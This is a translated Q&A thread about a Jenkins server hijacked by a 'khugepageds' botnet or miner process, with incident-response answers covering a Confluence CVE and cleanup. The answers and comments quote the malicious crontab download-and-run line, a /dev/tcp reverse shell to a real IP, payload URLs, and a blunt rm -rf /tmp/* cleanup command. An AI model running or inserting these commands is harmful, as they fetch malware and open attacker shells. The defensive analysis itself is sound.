Jenkins 高 CPU 使用率 Khugepageds答案

【问题标题】：Jenkins High CPU Usage KhugepagedsJenkins 高 CPU 使用率 Khugepageds
【发布时间】：2019-08-14 13:56:32
【问题描述】：

所以上图显示了一个命令khugepageds，它有时使用98 到100 % 的CPU。

我尝试查找jenkins 如何使用此命令或如何处理它，但没有成功。

我做了以下

pkill詹金斯
服务詹金斯停止
服务 jenkins 启动

当我 pkill 时，当然使用率下降，但一旦重新启动它就会再次备份。

以前有人遇到过这个问题吗？

【问题讨论】：

我们也有这个问题。我尝试在启动时禁用 THP (khugepaged)，并按照本指南 access.redhat.com/solutions/46111 按照此方法 (askubuntu.com/a/610707/565564) 在启动时禁用 THP (khugepaged) 以将启用和碎片整理设置为从不，并将此 (stackoverflow.com/a/52591781/679667) 在启动时禁用 grub。重启。仍然看到 khugepaged 出现在 jenkins 用户中，并且它正在使用 200% 的 CPU :(

标签： jenkins centos

【解决方案1】：

在我的情况下，这导致构建随机失败并出现以下错误：

Maven JVM 意外终止，退出代码为 137

我花了一段时间才对 Khugepageds 进程给予应有的关注，因为我在每个地方读到的关于此错误的给出的解决方案都是增加内存。

问题已通过@HeffZilla 解决方案解决。

【讨论】：

【解决方案2】：

这是一个 Confluence 漏洞https://nvd.nist.gov/vuln/detail/CVE-2019-3396 发布于 2019 年 3 月 25 日。它允许远程攻击者通过服务器端模板注入在 Confluence 服务器或数据中心实例上实现路径遍历和远程代码执行。

可能的解决方案

不要以 root 身份运行 Confluence！
停止僵尸网络代理：kill -9 $(cat /tmp/.X11unix); killall -9 khugepageds
停止 Confluence：/app/bin/stop-confluence.sh
删除损坏的 crontab：crontab -u -r
通过阻止访问前端服务器中易受攻击的路径 /rest/tinymce/1/macro/preview 来堵住漏洞；对于 nginx，它是这样的：

    location /rest/tinymce/1/macro/preview {
        return 403;
    }

重启 Confluence。

漏洞利用

包含两部分：来自https://pastebin.com/raw/xmxHzu5P 的shell 脚本和来自http://sowcar.com/t6/696/1554470365x2890174166.jpg 的x86_64 Linux 二进制文件

该脚本首先杀死所有其他已知的木马/病毒/僵尸网络代理，从 /tmp/kerberods 下载并生成二进制文件并遍历 /root/.ssh/known_hosts 试图将自己传播到附近的机器。

大小为 3395072 且日期为 Apr 5 16:19 的二进制文件使用 LSD 可执行打包程序 (http://lsd.dg.com) 打包。我还没有检查它的作用。看起来像一个僵尸网络控制器。

【讨论】：

出于好奇：你从哪里得到这个特定网址是/是罪魁祸首的信息？
@luk2302：受感染的 Confluence 用户的 crontab 包含这样的条目：(curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sed -e 's/\r//g'|sh。另见this article
@AxelBeckert 我指的是 confluence 实例的 tinymce url。不是 100% 清楚。
@luk2302 我从受感染的服务器 HTTP 日志中获得了 /rest/tinymce/1/macro/preview。顺便说一句，那个 confluence 用户的 .bash_history 有反向 shell 命令 bash -i >& /dev/tcp/45.76.191.111/2012 0>&1 所以一些人为干预已经到位。

【解决方案3】：

所以，我们刚刚遇到了这种情况。根据其他答案，以及我们自己的一些挖掘，我们能够通过运行以下命令来终止进程（并使其保持终止状态）......

rm -rf /tmp/*; crontab -r -u 詹金斯；杀死 -9 PID_OF_khugepageds； crontab -r -u 詹金斯； rm -rf /tmp/*；现在重启 -h;

确保将 PID_OF_khugepageds 替换为您机器上的 PID。它还将清除 crontab 条目。将这一切作为一个命令运行，这样该过程就不会自行复活。机器将根据最后一个命令重新启动。

注意：虽然上面的命令应该终止进程，但您可能想要滚动/重新生成 SSH 密钥（在 Jenkins 机器、BitBucket/GitHub 等，以及 Jenkins 有权访问的任何其他机器上），甚至可能启动一个新的 Jenkins 实例（如果您有该选项）。

【讨论】：

谢谢，我们也遇到了这个问题，这似乎有效。你知道这可能是如何进入系统的吗？詹金斯插件可能存在漏洞？
@user1366911 不幸的是，我们真的不知道。

【解决方案4】：

一个可行的解决方案，因为刚刚重新创建的 cron 文件是清空 jenkins 的 cronfile，我还更改了所有权，并使文件不可变。

这终于阻止了这个过程的启动..

【讨论】：

【解决方案5】：

是的，我们也受到了这个漏洞的影响，多亏了pittss，我们才能够检测到更多。

您应该检查 /var/logs/syslogs 中的 curl pastebin 脚本，该脚本似乎在系统上启动了一个玉米进程，它将尝试再次升级对 /tmp 文件夹的访问并安装不需要的包/脚本。

您应该从 /tmp 文件夹中删除所有内容，停止 jenkins，检查 cron 进程并删除看似可疑的进程，然后重新启动 VM。

由于上述漏洞在 /tmp 文件夹中添加了不需要的可执行文件，并尝试通过 ssh 访问 VM。此漏洞还在您的系统上添加了一个 cron 进程，请注意将其删除。

同时检查 ~/.ssh 文件夹中的 known_hosts 和 authorized_keys 是否有任何可疑的 ssh 公钥。攻击者可以添加他们的 ssh 密钥来访问您的系统。

希望这会有所帮助。

【讨论】：

对于从出现类似问题的 Atlassian Confluence 安装到达这里的用户，请参阅 confluence.atlassian.com/doc/…

【解决方案6】：

这似乎是漏洞。尝试像这样查看系统日志（/var/log/syslog，而不是 jenkinks 日志）：CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh)。

如果是这样，请尝试停止 jenkins，清除 /tmp 目录并终止所有以 jenkins 用户启动的 pid。

如果 cpu 使用率下降，请尝试更新到 jenkins 的最后一个 tls 版本。接下来启动 jenkins 后更新 jenkins 中的所有插件。

【讨论】：